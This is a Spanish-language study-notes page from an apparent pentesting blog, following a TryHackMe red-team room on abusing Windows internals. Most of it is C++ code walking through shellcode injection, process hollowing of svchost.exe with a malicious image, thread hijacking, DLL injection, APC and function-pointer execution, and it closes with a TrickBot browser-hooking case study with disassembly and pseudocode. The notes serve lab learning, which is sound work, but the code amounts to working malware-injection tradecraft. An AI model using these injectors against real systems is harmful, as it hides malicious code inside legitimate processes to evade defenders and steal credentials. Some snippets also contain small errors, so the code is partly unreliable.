notes - b0ySie7e
GithubPortafolioWrite-ups
  • 👋Bienvenido a mi blog
  • Introducción a la ciberseguridad
    • 📓¿Como inicio en la ciberseguridad?
  • Teoria y Conceptos
    • 📓Redes
      • Identificación de Dispositivos
      • Local Area Network (LAN)
      • Sub redes
      • Procolo ARP
      • Protocolo DHCP
    • 📓Pentesting
      • OSSTMM
      • OWASP
      • NCSC CAF
  • Sistemas Operativos
    • Linux
      • Comandos
    • Windows
      • Comandos
  • Enumeración
    • Enumeracion de red
      • Enumeracion de Hosts
      • Enumeracion de Puertos y servicios
    • FootPrinting
      • Domain Information
      • FTP
      • SMB
      • NFS
      • DNS
      • SMTP
      • IMAP-POP3
      • SNMP
      • MySQL
      • MSSQL
      • Oracle TNS
      • IPMI
      • Linux Remote Management Protocols
      • Windows Remote Management Protocols
    • Enumeración web
      • Uso de google dorks
      • Whois
      • Dig
      • Enumeraciónde subdominios
      • Enumeración automatizada
  • Hacking Web
    • Ataques Comunes
      • Fuzzing
      • Sub dominios
      • SQL Injection
      • Cross-Site Scripting
      • Local File Inclusion
      • Remote File Inclusion
      • File Upload Attacks
      • Command Injections
    • Otras explotaciones
  • Escalada de Privilegios
    • 📕Linux
      • Enumeración automatizada - Tools
      • Kernel Exploit
      • Sudo
      • SUID
      • Capabilities
      • Cron Jobs
      • Path
      • NFS
    • 📕Windows
      • Enumeración automatizada - Tools
      • Harvesting Passwords from Usual Spots
      • Other Quick Wins
      • Abusing Service Misconfigurations
      • Abusing dangerous privileges
      • Abusing vulnerable software
  • Guias y Herramientas
    • Git
    • Buffer Over Flow
    • MetaSploit
      • Introducción
      • Modules
      • Targets
      • Payloads
      • Encoders
      • Sessions
    • Nmap
    • Pivoting Tunneling Port Forwarning
      • Port Forwarding SSH
      • Pivoting Metasploit
      • Socat Redirection with a Reverse Shell
      • Socat Redirection with a Bind Shell
      • Others tools for pivoting
    • Transferencias de Archivos
      • Evading Detection
      • Linux File Transfer Methods
      • Miscellaneous File Transfer Methods
      • Transferring Files with Code
      • Windows File Transfer Methods
      • Otros
        • Usando ICMP
        • Usando ncat y tar
    • Shell y Payloads
      • Spawning shell interactiva
      • Conexión de RDP
    • Password Attacks
      • Cracking
      • Windows Local Password Attacks
      • Linux Local Password Attacks
      • Windows Lateral Movement
    • Fortinet
      • Configuración estática de Firewall
      • Licencia
      • Configuración de interfaces
      • Primera política
      • Rutas estaticas
  • Red Team Path - THM
    • Enumeración
      • Linux
      • Windows
    • Movimiento lateral
      • Movimiento Lateral
    • Pivoting
      • PortForwarining y pivoting
    • Host Evasion
      • Windows Internal
      • Introduccion a Windows
      • Abusing Windows Internal
      • Introducción a Antivirus
      • AV Evasion ShellCode
      • Principios de Ofuscación
      • Evasión de Firmas
      • Bypass UAC
      • Runtime Detection Evasion
      • Evading Logging and Monitoring
      • Living Off the Land
    • Networking Security Evasión
      • Network Security Solutions
      • Firewalls
      • Sandbox Evasion
    • Comprometiendo un directorio activo
      • Active Directory Basics
      • Breaching Active Directory
      • Enumerating Active Directory
      • Exploiting Active Directory
      • Persisting Active Directory
      • Credentials Harvesting
Con tecnología de GitBook
En esta página
  • Abusing Processes
  • Expanding Process Abuse
  • Abusing Process Components
  • Abusing DLLs
  • Memory Execution Alternatives
  • Invocar punteros de función
  • Llamadas a procedimientos asincrónicos
  • Manipulación de secciones
  • Case Study in Browser Injection and Hooking
  1. Red Team Path - THM
  2. Host Evasion

Abusing Windows Internal

AnteriorIntroduccion a WindowsSiguienteIntroducción a Antivirus

Última actualización hace 10 meses

Abusing Processes

Las aplicaciones que se ejecutan en su sistema operativo pueden contener uno o más procesos. Los procesos mantienen y representan un programa que se está ejecutando.

Los procesos tienen muchos otros subcomponentes e interactúan directamente con la memoria o la memoria virtual, lo que los convierte en un candidato perfecto para apuntar. La siguiente tabla describe cada componente crítico de los procesos y su propósito.

Componente del proceso

Objetivo

Private Virtual Address Space

Direcciones de memoria virtual que se asignan al proceso.

Executable Program

Define el código y los datos almacenados en el espacio de direcciones virtuales.

Open Handles

Define identificadores de recursos del sistema accesibles al proceso.

Security Context

El token de acceso define el usuario, los grupos de seguridad, los privilegios y otra información de seguridad.

Process ID

Identificador numérico único del proceso.

Threads

Sección de un proceso programado para su ejecución

La inyección de procesos se utiliza comúnmente como término general para describir la inyección de código malicioso en un proceso a través de funciones o componentes legítimos. En esta sala nos centraremos en cuatro tipos diferentes de inyección de procesos, que se describen a continuación.

Tipo de inyección

Función

Inyectar código en un proceso de destino suspendido y "hueco"

Inyectar código en un hilo de destino suspendido

Inyectar una DLL en la memoria del proceso

Auto inyectar una imagen PE que apunta a una función maliciosa en un proceso de destino

Hay muchas otras formas de inyección de proceso descritas en .

En su nivel más básico, la inyección de procesos toma la forma de inyección de código shell.

En un nivel alto, la inyección de shellcode se puede dividir en cuatro pasos:

  1. Abra un proceso de destino con todos los derechos de acceso.

  2. Asigne memoria de proceso de destino para el código de shell.

  3. Escriba shellcode en la memoria asignada en el proceso de destino.

  4. Ejecute el código shell usando un hilo remoto.

Los pasos también se pueden desglosar gráficamente para representar cómo las llamadas a la API de Windows interactúan con la memoria del proceso.

Desglosaremos un inyector de shellcode básico para identificar cada uno de los pasos y explicarlo con más profundidad a continuación.

En el paso uno de la inyección de shellcode, necesitamos abrir un proceso de destino utilizando parámetros especiales. OpenProcessse utiliza para abrir el proceso de destino proporcionado a través de la línea de comandos.

processHandle = OpenProcess(
	PROCESS_ALL_ACCESS, // Defines access rights
	FALSE, // Target handle will not be inhereted
	DWORD(atoi(argv[1])) // Local process supplied by command-line arguments 
);

En el paso dos, debemos asignar memoria al tamaño de bytes del código shell. La asignación de memoria se maneja mediante VirtualAllocEx. Dentro de la llamada, el dwSizeparámetro se define usando la sizeoffunción para obtener los bytes de shellcode que se asignarán.

remoteBuffer = VirtualAllocEx(
	processHandle, // Opened target process
	NULL, 
	sizeof shellcode, // Region size of memory allocation
	(MEM_RESERVE | MEM_COMMIT), // Reserves and commits pages
	PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);

En el paso tres, ahora podemos usar la región de memoria asignada para escribir nuestro código shell. WriteProcessMemoryse usa comúnmente para escribir en regiones de memoria.

WriteProcessMemory(
	processHandle, // Opened target process
	remoteBuffer, // Allocated memory region
	shellcode, // Data to write
	sizeof shellcode, // byte size of data
	NULL
);

En el paso cuatro, ahora tenemos el control del proceso y nuestro código malicioso ahora está escrito en la memoria. Para ejecutar el código shell que reside en la memoria, podemos usar CreateRemoteThread; Los hilos controlan la ejecución de los procesos.

remoteThread = CreateRemoteThread(
	processHandle, // Opened target process
	NULL, 
	0, // Default size of the stack
	(LPTHREAD_START_ROUTINE)remoteBuffer, // Pointer to the starting address of the thread
	NULL, 
	0, // Ran immediately after creation
	NULL
);

Podemos compilar estos pasos juntos para crear un inyector de proceso básico. Utilice el inyector de C++ proporcionado y experimente con la inyección de procesos.

La inyección de Shellcode es la forma más básica de inyección de procesos; En la siguiente tarea, veremos cómo podemos modificar y adaptar estos pasos para el vaciado del proceso.

Expanding Process Abuse

En la tarea anterior, analizamos cómo podemos utilizar la inyección de shellcode para inyectar código malicioso en un proceso legítimo. En esta tarea cubriremos el proceso de vaciado. Similar a la inyección de shellcode, esta técnica ofrece la posibilidad de inyectar un archivo malicioso completo en un proceso. Esto se logra “vaciando” o desasignando el proceso e inyectando secciones y datos PE ( portátiles ejecutables ) específicos en el proceso.

En un proceso de alto nivel, el vaciado se puede dividir en seis pasos:

  1. Cree un proceso de destino en estado suspendido.

  2. Abra una imagen maliciosa.

  3. Desasignar código legítimo de la memoria del proceso.

  4. Asigne ubicaciones de memoria para códigos maliciosos y escriba cada sección en el espacio de direcciones.

  5. Establezca un punto de entrada para el código malicioso.

  6. Saque el proceso objetivo del estado suspendido.

Los pasos también se pueden desglosar gráficamente para representar cómo las llamadas a la API de Windows interactúan con la memoria del proceso.

Desglosaremos un proceso básico de vaciado de inyectores para identificar cada uno de los pasos y explicarlo con más profundidad a continuación.

En el paso uno del vaciado del proceso, debemos crear un proceso objetivo en estado suspendido usando CreateProcessA. Para obtener los parámetros requeridos para la llamada API podemos usar las estructuras STARTUPINFOAy PROCESS_INFORMATION.

LPSTARTUPINFOA target_si = new STARTUPINFOA(); // Defines station, desktop, handles, and appearance of a process
LPPROCESS_INFORMATION target_pi = new PROCESS_INFORMATION(); // Information about the process and primary thread
CONTEXT c; // Context structure pointer

if (CreateProcessA(
	(LPSTR)"C:\\\\Windows\\\\System32\\\\svchost.exe", // Name of module to execute
	NULL,
	NULL,
	NULL,
	TRUE, // Handles are inherited from the calling process
	CREATE_SUSPENDED, // New process is suspended
	NULL,
	NULL,
	target_si, // pointer to startup info
	target_pi) == 0) { // pointer to process information
	cout << "[!] Failed to create Target process. Last Error: " << GetLastError();
	return 1;

En el paso dos, necesitamos abrir una imagen maliciosa para inyectarla. Este proceso se divide en tres pasos, comenzando por utilizar CreateFileApara obtener un identificador de la imagen maliciosa.

HANDLE hMaliciousCode = CreateFileA(
	(LPCSTR)"C:\\\\Users\\\\tryhackme\\\\malware.exe", // Name of image to obtain
	GENERIC_READ, // Read-only access
	FILE_SHARE_READ, // Read-only share mode
	NULL,
	OPEN_EXISTING, // Instructed to open a file or device if it exists
	NULL,
	NULL
);

Una vez que se obtiene un identificador para la imagen maliciosa, se debe asignar memoria al proceso local usando VirtualAlloc. GetFileSizeTambién se utiliza para recuperar el tamaño de la imagen maliciosa para dwSize.

DWORD maliciousFileSize = GetFileSize(
	hMaliciousCode, // Handle of malicious image
	0 // Returns no error
);

PVOID pMaliciousImage = VirtualAlloc(
	NULL,
	maliciousFileSize, // File size of malicious image
	0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)
	0x04 // Enables read/write access (PAGE_READWRITE)
);

Ahora que la memoria está asignada al proceso local, se debe escribir. Usando la información obtenida en los pasos anteriores, podemos usarla ReadFilepara escribir en la memoria del proceso local.

DWORD numberOfBytesRead; // Stores number of bytes read

if (!ReadFile(
	hMaliciousCode, // Handle of malicious image
	pMaliciousImage, // Allocated region of memory
	maliciousFileSize, // File size of malicious image
	&numberOfBytesRead, // Number of bytes read
	NULL
	)) {
	cout << "[!] Unable to read Malicious file into memory. Error: " <<GetLastError()<< endl;
	TerminateProcess(target_pi->hProcess, 0);
	return 1;
}

CloseHandle(hMaliciousCode);

En el paso tres, el proceso debe ser “vaciado” desasignando la memoria. Antes de que se pueda eliminar la asignación, debemos identificar los parámetros de la llamada API. Necesitamos identificar la ubicación del proceso en la memoria y el punto de entrada. Los registros de la CPU EAX (punto de entrada) y EBX (ubicación PEB) contienen la información que necesitamos obtener; estos se pueden encontrar usando GetThreadContext. Una vez encontrados ambos registros, ReadProcessMemory se utiliza para obtener la dirección base del EBXcon un desplazamiento ( 0x8), obtenido al examinar el PEB.

c.ContextFlags = CONTEXT_INTEGER; // Only stores CPU registers in the pointer
GetThreadContext(
	target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure
	&c // Pointer to store retrieved context
); // Obtains the current thread context

PVOID pTargetImageBaseAddress; 
ReadProcessMemory(
	target_pi->hProcess, // Handle for the process obtained from the PROCESS_INFORMATION structure
	(PVOID)(c.Ebx + 8), // Pointer to the base address
	&pTargetImageBaseAddress, // Store target base address 
	sizeof(PVOID), // Bytes to read 
	0 // Number of bytes out
);

Una vez almacenada la dirección base, podemos comenzar a desasignar la memoria. Podemos utilizar ZwUnmapViewOfSectionimportado desde ntdll.dll para liberar memoria del proceso de destino.

HMODULE hNtdllBase = GetModuleHandleA("ntdll.dll"); // Obtains the handle for ntdll
pfnZwUnmapViewOfSection pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(
	hNtdllBase, // Handle of ntdll
	"ZwUnmapViewOfSection" // API call to obtain
); // Obtains ZwUnmapViewOfSection from ntdll

DWORD dwResult = pZwUnmapViewOfSection(
	target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
	pTargetImageBaseAddress // Base address of the process
);

En el paso cuatro, debemos comenzar asignando memoria en el proceso vaciado. Podemos usar VirtualAllocalgo similar al paso dos para asignar memoria. Esta vez necesitamos obtener el tamaño de la imagen que se encuentra en los encabezados de los archivos. e_lfanewPuede identificar el número de bytes desde el encabezado de DOS hasta el encabezado de PE. Una vez en el encabezado PE, podemos obtenerlo SizeOfImagedel encabezado Opcional.

PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pMaliciousImage; // Obtains the DOS header from the malicious image
PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew); // Obtains the NT header from e_lfanew

DWORD sizeOfMaliciousImage = pNTHeaders->OptionalHeader.SizeOfImage; // Obtains the size of the optional header from the NT header structure

PVOID pHollowAddress = VirtualAllocEx(
	target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
	pTargetImageBaseAddress, // Base address of the process
	sizeOfMaliciousImage, // Byte size obtained from optional header
	0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)
	0x40 // Enabled execute and read/write access (PAGE_EXECUTE_READWRITE)
);

Una vez asignada la memoria, podemos escribir el archivo malicioso en la memoria. Debido a que estamos escribiendo un archivo, primero debemos escribir los encabezados PE y luego las secciones PE. Para escribir encabezados PE, podemos usar WriteProcessMemory y el tamaño de los encabezados para determinar dónde detenernos.

if (!WriteProcessMemory(
	target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
	pTargetImageBaseAddress, // Base address of the process
	pMaliciousImage, // Local memory where the malicious file resides
	pNTHeaders->OptionalHeader.SizeOfHeaders, // Byte size of PE headers 
	NULL
)) {
	cout<< "[!] Writting Headers failed. Error: " << GetLastError() << endl;
}

Ahora necesitamos escribir cada sección. Para encontrar el número de secciones, podemos utilizar NumberOfSectionslos encabezados de NT. Podemos recorrer e_lfanewel tamaño del encabezado actual para escribir cada sección.

for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) { // Loop based on number of sections in PE data
	PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); // Determines the current PE section header

	WriteProcessMemory(
		target_pi->hProcess, // Handle of the process obtained from the PROCESS_INFORMATION structure
		(PVOID)((LPBYTE)pHollowAddress + pSectionHeader->VirtualAddress), // Base address of current section 
		(PVOID)((LPBYTE)pMaliciousImage + pSectionHeader->PointerToRawData), // Pointer for content of current section
		pSectionHeader->SizeOfRawData, // Byte size of current section
		NULL
	);
}

También es posible utilizar tablas de reubicación para escribir el archivo en la memoria de destino. Esto se discutirá con más profundidad en la tarea 6.

En el paso cinco, podemos usar SetThreadContext para cambiar EAXpara apuntar al punto de entrada.

c.Eax = (SIZE_T)((LPBYTE)pHollowAddress + pNTHeaders->OptionalHeader.AddressOfEntryPoint); // Set the context structure pointer to the entry point from the PE optional header

SetThreadContext(
	target_pi->hThread, // Handle to the thread obtained from the PROCESS_INFORMATION structure
	&c // Pointer to the stored context structure
);

En el paso seis, debemos sacar el proceso del estado suspendido usando ResumeThread.

ResumeThread(
	target_pi->hThread // Handle to the thread obtained from the PROCESS_INFORMATION structure
);

Podemos compilar estos pasos juntos para crear un inyector hueco de proceso. Utilice el inyector de C++ proporcionado y experimente con el vaciado del proceso.

Abusing Process Components

En un hilo de alto nivel (ejecución), el secuestro se puede dividir en once pasos:

  1. Localice y abra un proceso objetivo para controlar.

  2. Asigne una región de memoria para código malicioso.

  3. Escriba código malicioso en la memoria asignada.

  4. Identifique el ID del hilo de destino que se va a secuestrar.

  5. Abra el hilo de destino.

  6. Suspender el hilo de destino.

  7. Obtenga el contexto del hilo.

  8. Actualice el puntero de instrucción al código malicioso.

  9. Reescribe el contexto del hilo de destino.

  10. Reanudar el hilo secuestrado.

Desglosaremos un script básico de secuestro de hilos para identificar cada uno de los pasos y explicarlo con más profundidad a continuación.

Los primeros tres pasos descritos en esta técnica siguen los mismos pasos comunes que el proceso de inyección normal. Estos no se explicarán; en cambio, puede encontrar el código fuente documentado a continuación.

HANDLE hProcess = OpenProcess(
	PROCESS_ALL_ACCESS, // Requests all possible access rights
	FALSE, // Child processes do not inheret parent process handle
	processId // Stored process ID
);
PVOIF remoteBuffer = VirtualAllocEx(
	hProcess, // Opened target process
	NULL, 
	sizeof shellcode, // Region size of memory allocation
	(MEM_RESERVE | MEM_COMMIT), // Reserves and commits pages
	PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);
WriteProcessMemory(
	processHandle, // Opened target process
	remoteBuffer, // Allocated memory region
	shellcode, // Data to write
	sizeof shellcode, // byte size of data
	NULL
);

Una vez que hayamos realizado los pasos iniciales y nuestro código shell esté escrito en la memoria, podemos pasar al paso cuatro. En el paso cuatro, debemos comenzar el proceso de secuestrar el hilo del proceso identificando el ID del hilo. Para identificar el ID del hilo, necesitamos usar un trío de llamadas a la API de Windows: CreateToolhelp32Snapshot(), Thread32First()y Thread32Next(). Estas llamadas API recorrerán colectivamente una instantánea de un proceso y ampliarán las capacidades para enumerar la información del proceso.

THREADENTRY32 threadEntry;

HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed process
	TH32CS_SNAPTHREAD, // Include all processes residing on the system
	0 // Indicates the current process
);
Thread32First( // Obtains the first thread in the snapshot
	hSnapshot, // Handle of the snapshot
	&threadEntry // Pointer to the THREADENTRY32 structure
);

while (Thread32Next( // Obtains the next thread in the snapshot
	snapshot, // Handle of the snapshot
	&threadEntry // Pointer to the THREADENTRY32 structure
)) {

En el paso cinco, hemos recopilado toda la información requerida en el puntero de estructura y podemos abrir el hilo de destino. Para abrir el hilo usaremos OpenThreadel THREADENTRY32puntero de estructura.

if (threadEntry.th32OwnerProcessID == processID) // Verifies both parent process ID's match
		{
			HANDLE hThread = OpenThread(
				THREAD_ALL_ACCESS, // Requests all possible access rights
				FALSE, // Child threads do not inheret parent thread handle
				threadEntry.th32ThreadID // Reads the thread ID from the THREADENTRY32 structure pointer
			);
			break;
		}

En el paso seis, debemos suspender el hilo de destino abierto. Para suspender el hilo podemos usar SuspendThread.

SuspendThread(hThread);

En el paso siete, necesitamos obtener el contexto del hilo para usarlo en las próximas llamadas API. Esto se puede hacer usando GetThreadContextpara almacenar un puntero.

CONTEXT context;
GetThreadContext(
	hThread, // Handle for the thread 
	&context // Pointer to store the context structure
);

En el paso ocho, necesitamos sobrescribir RIP (Registro de puntero de instrucción) para que apunte a nuestra región maliciosa de memoria. Si aún no está familiarizado con los registros de la CPU, RIP es un registro x64 que determinará la siguiente instrucción de código; En pocas palabras, controla el flujo de una aplicación en la memoria. Para sobrescribir el registro podemos actualizar el contexto del hilo para RIP.

context.Rip = (DWORD_PTR)remoteBuffer; // Points RIP to our malicious buffer allocation

En el paso nueve, el contexto se actualiza y debe actualizarse al contexto del hilo actual. Esto se puede hacer fácilmente usando SetThreadContexty el puntero del contexto.

SetThreadContext(
	hThread, // Handle for the thread 
	&context // Pointer to the context structure
);

En el paso final, ahora podemos sacar el hilo de destino del estado suspendido. Para lograr esto podemos usar ResumeThread.

ResumeThread(
	hThread // Handle for the thread
);

Podemos compilar estos pasos juntos para crear un inyector de proceso mediante el secuestro de subprocesos. Utilice el inyector de C++ proporcionado y experimente con el secuestro de subprocesos.

Abusing DLLs

En un nivel alto, la inyección de DLL se puede dividir en seis pasos:

  1. Localice un proceso de destino para inyectar.

  2. Abra el proceso de destino.

  3. Asigne una región de memoria para DLL maliciosa.

  4. Escriba la DLL maliciosa en la memoria asignada.

  5. Cargue y ejecute la DLL maliciosa.

Desglosaremos un inyector de DLL básico para identificar cada uno de los pasos y explicarlo con más profundidad a continuación.

En el paso uno de la inyección de DLL, debemos localizar un hilo de destino. Se puede localizar un hilo desde un proceso utilizando un trío de llamadas a la API de Windows: CreateToolhelp32Snapshot(), Process32First()y Process32Next().

DWORD getProcessId(const char *processName) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot( // Snapshot the specificed process
			TH32CS_SNAPPROCESS, // Include all processes residing on the system
			0 // Indicates the current process
		);
    if (hSnapshot) {
        PROCESSENTRY32 entry; // Adds a pointer to the PROCESSENTRY32 structure
        entry.dwSize = sizeof(PROCESSENTRY32); // Obtains the byte size of the structure
        if (Process32First( // Obtains the first process in the snapshot
					hSnapshot, // Handle of the snapshot
					&entry // Pointer to the PROCESSENTRY32 structure
				)) {
            do {
                if (!strcmp( // Compares two strings to determine if the process name matches
									entry.szExeFile, // Executable file name of the current process from PROCESSENTRY32
									processName // Supplied process name
								)) { 
                    return entry.th32ProcessID; // Process ID of matched process
                }
            } while (Process32Next( // Obtains the next process in the snapshot
							hSnapshot, // Handle of the snapshot
							&entry
						)); // Pointer to the PROCESSENTRY32 structure
        }
    }

DWORD processId = getProcessId(processName); // Stores the enumerated process ID

En el paso dos, una vez enumerado el PID, debemos abrir el proceso. Esto se puede lograr desde una variedad de llamadas a la API de Windows: GetModuleHandle, GetProcAddresso OpenProcess.

HANDLE hProcess = OpenProcess(
	PROCESS_ALL_ACCESS, // Requests all possible access rights
	FALSE, // Child processes do not inheret parent process handle
	processId // Stored process ID
);

En el paso tres, se debe asignar memoria para que resida la DLL maliciosa proporcionada. Como ocurre con la mayoría de los inyectores, esto se puede lograr usando VirtualAllocEx.

LPVOID dllAllocatedMemory = VirtualAllocEx(
	hProcess, // Handle for the target process
	NULL, 
	strlen(dllLibFullPath), // Size of the DLL path
	MEM_RESERVE | MEM_COMMIT, // Reserves and commits pages
	PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);

En el paso cuatro, debemos escribir la DLL maliciosa en la ubicación de memoria asignada. Podemos usar WriteProcessMemorypara escribir en la región asignada.

WriteProcessMemory(
	hProcess, // Handle for the target process
	dllAllocatedMemory, // Allocated memory region
	dllLibFullPath, // Path to the malicious DLL
	strlen(dllLibFullPath) + 1, // Byte size of the malicious DLL
	NULL
);

En el paso cinco, nuestra DLL maliciosa se escribe en la memoria y todo lo que tenemos que hacer es cargarla y ejecutarla. Para cargar la DLL necesitamos usar LoadLibrary; importado de kernel32. Una vez cargado, CreateRemoteThreadse puede utilizar para ejecutar la memoria utilizando LoadLibrarycomo función inicial.


LPVOID loadLibrary = (LPVOID) GetProcAddress(
	GetModuleHandle("kernel32.dll"), // Handle of the module containing the call
	"LoadLibraryA" // API call to import
);
HANDLE remoteThreadHandler = CreateRemoteThread(
	hProcess, // Handle for the target process
	NULL, 
	0, // Default size from the execuatable of the stack
	(LPTHREAD_START_ROUTINE) loadLibrary, pointer to the starting function
	dllAllocatedMemory, // pointer to the allocated memory region
	0, // Runs immediately after creation
	NULL
);

Podemos compilar estos pasos juntos para crear un inyector DLL. Utilice el inyector de C++ proporcionado y experimente con la inyección de DLL.

Memory Execution Alternatives

Dependiendo del entorno en el que se encuentre, es posible que necesite modificar la forma en que ejecuta su código shell. Esto podría ocurrir cuando hay ganchos en una llamada API y no puede evadirlos o desengancharlos, un EDR está monitoreando subprocesos, etc.

Hasta este punto, hemos analizado principalmente métodos de asignación y escritura de datos hacia y desde procesos locales/remotos. La ejecución es también un paso vital en cualquier técnica de inyección; aunque no es tan importante cuando se intenta minimizar los artefactos de la memoria y los IOC ( indicadores de compromiso ). A diferencia de la asignación y escritura de datos, la ejecución tiene muchas opciones para elegir.

A lo largo de esta sala, hemos observado la ejecución principalmente a través de CreateThready su contraparte, CreateRemoteThread.

En esta tarea cubriremos otros tres métodos de ejecución que se pueden utilizar según las circunstancias de su entorno.

Invocar punteros de función

El puntero de función nula es un método extrañamente novedoso de ejecución de bloques de memoria que se basa únicamente en el encasillamiento.

Esta técnica solo se puede ejecutar con memoria asignada localmente, pero no depende de ninguna llamada API ni de ninguna otra funcionalidad del sistema.

El siguiente resumen es la forma más común del puntero de función nula, pero podemos desglosarlo más para explicar sus componentes.

((void(*)())addressPointer)();

Esta frase breve puede ser difícil de comprender o explicar porque es muy densa. Repasémosla mientras procesa el puntero.

  1. Crear un puntero de función (void(*)(), delineado en rojo

  2. Transmita el puntero de memoria asignado o la matriz de código shell al puntero de función (<function pointer>)addressPointer), delineado en amarillo

  3. Invoca el puntero de función para ejecutar el código shell ();, resaltado en verde

Esta técnica tiene un caso de uso muy específico, pero puede resultar muy evasiva y útil cuando sea necesario.

Llamadas a procedimientos asincrónicos

Una función APC está en cola en un hilo a través de QueueUserAPC. Una vez en cola, la función APC produce una interrupción del software y ejecuta la función la próxima vez que se programa el hilo.

Para que una aplicación de usuario/modo de usuario ponga en cola una función APC, el subproceso debe estar en un " estado de alerta ". Un estado de alerta requiere que el hilo esté esperando una devolución de llamada como WaitForSingleObjecto Sleep.

Ahora que entendemos qué son las funciones de APC, veamos cómo se pueden utilizar de forma maliciosa. Usaremos VirtualAllocExy WriteProcessMemorypara asignar y escribir en la memoria.

QueueUserAPC(
	(PAPCFUNC)addressPointer, // APC function pointer to allocated memory defined by winnt
	pinfo.hThread, // Handle to thread from PROCESS_INFORMATION structure
	(ULONG_PTR)NULL
	);
ResumeThread(
	pinfo.hThread // Handle to thread from PROCESS_INFORMATION structure
);
WaitForSingleObject(
	pinfo.hThread, // Handle to thread from PROCESS_INFORMATION structure
	INFINITE // Wait infinitely until alerted
);

Esta técnica es una excelente alternativa a la ejecución de subprocesos, pero recientemente ha ganado terreno en la ingeniería de detección y se están implementando trampas específicas para el abuso de APC. Esta puede seguir siendo una gran opción dependiendo de las medidas de detección a las que se enfrente.

Manipulación de secciones

Una técnica comúnmente vista en la investigación de malware es PE ( P ortable Executable ) y manipulación de secciones. Como repaso, el formato PE define la estructura y el formato de un archivo ejecutable en Windows. Para fines de ejecución, nos centramos principalmente en las secciones, específicamente .datay .text, las tablas y los punteros a las secciones también se usan comúnmente para ejecutar datos.

No profundizaremos en estas técnicas ya que son complejas y requieren un gran desglose técnico, pero sí comentaremos sus principios básicos.

Para comenzar con cualquier técnica de manipulación de secciones, necesitamos obtener un volcado de PE. La obtención de un volcado de PE se logra comúnmente con una DLL u otro archivo malicioso introducido en el archivo xxd.

En el centro de cada método, se utilizan las matemáticas para moverse a través de los datos hexadecimales físicos que se traducen a datos PE.

Algunas de las técnicas más conocidas incluyen el análisis de puntos de entrada RVA, el mapeo de secciones y el análisis de tablas de reubicación.

Case Study in Browser Injection and Hooking

Para comprender las implicaciones de la inyección de procesos, podemos observar los TTP ( tácticas , técnicas y procedimientos ) de TrickBot.

TrickBot es un conocido malware bancario que recientemente ha recuperado popularidad en el crimeware financiero. La función principal del malware que observaremos es la de enganchar al navegador. El enlace del navegador permite que el malware conecte llamadas API interesantes que pueden usarse para interceptar/robar credenciales.

Para comenzar nuestro análisis, veamos cómo se dirigen a los navegadores. A partir de la ingeniería inversa de SentinelLab , queda claro que OpenProcessse está utilizando para obtener identificadores de rutas de navegador comunes; visto en el desmontaje a continuación.

push   eax
push   0
push   438h
call   ds:OpenProcess
mov    edi, eax
mov    [edp,hProcess], edi
test   edi, edi
jz     loc_100045EE
push   offset Srch            ; "chrome.exe"
lea    eax, [ebp+pe.szExeFile]
...
mov    eax, ecx
push   offset aIexplore_exe   ; "iexplore.exe"
push   eax                    ; lpFirst
...
mov    eax, ecx
push   offset aFirefox_exe   ; "firefox.exe"
push   eax                    ; lpFirst
...
mov    eax, ecx
push   offset aMicrosoftedgec   ; "microsoftedgecp.exe"
...

El código fuente actual para la inyección reflectante no está claro, pero SentinelLabs ha descrito el flujo básico del programa de la inyección a continuación.

  1. Proceso de destino abierto,OpenProcess

  2. Asignar memoria,VirtualAllocEx

  3. Copie la función en la memoria asignada,WriteProcessMemory

  4. Copie el código shell en la memoria asignada,WriteProcessMemory

  5. Vaciar el caché para confirmar los cambios.FlushInstructionCache

  6. Crea un hilo remoto,RemoteThread

  7. Reanudar el hilo o recurrir a él para crear un nuevo hilo de usuario, ResumeThreadoRtlCreateUserThread

Una vez inyectado, TrickBot llamará a su función de instalación de gancho copiada en la memoria en el paso tres. SentinelLabs proporciona el pseudocódigo para la función del instalador a continuación.

relative_offset = myHook_function - *(_DWORD *)(original_function + 1) - 5;
v8 = (unsigned __int8)original_function[5];
trampoline_lpvoid = *(void **)(original_function + 1);
jmp_32_bit_relative_offset_opcode = 0xE9u;		// "0xE9" -> opcode for a jump with a 32bit relative offset

if ( VirtualProtectEx((HANDLE)0xFFFFFFFF, trampoline_lpvoid, v8, 0x40u, &flOldProtect) )	// Set up the function for "PAGE_EXECUTE_READWRITE" w/ VirtualProtectEx
{
	v10 = *(_DWORD *)(original_function + 1);
	v11 = (unsigned __int8)original_function[5] - (_DWORD)original_function - 0x47;
	original_function[66] = 0xE9u;
	*(_DWORD *)(original_function + 0x43) = v10 + v11;
	write_hook_iter(v10, &jmp_32_bit_relative_offset_opcode, 5); // -> Manually write the hook
	VirtualProtectEx(		// Return to original protect state
		(HANDLE)0xFFFFFFFF,
		*(LPVOID *)(original_function + 1),
		(unsigned __int8)original_function[5],
		flOldProtect,
		&flOldProtect);
result = 1;

Analicemos este código, puede parecer desalentador al principio, pero se puede dividir en secciones más pequeñas del conocimiento que hemos adquirido a lo largo de esta sala.

La primera sección de código interesante que vemos se puede identificar como punteros de función; Quizás recuerdes esto de la tarea anterior sobre cómo invocar punteros de función.

relative_offset = myHook_function - *(_DWORD *)(original_function + 1) - 5;
v8 = (unsigned __int8)original_function[5];
trampoline_lpvoid = *(void **)(original_function + 1);

Una vez definidos los punteros de función, el malware los utilizará para modificar las protecciones de memoria de la función mediante VirtualProtectEx.

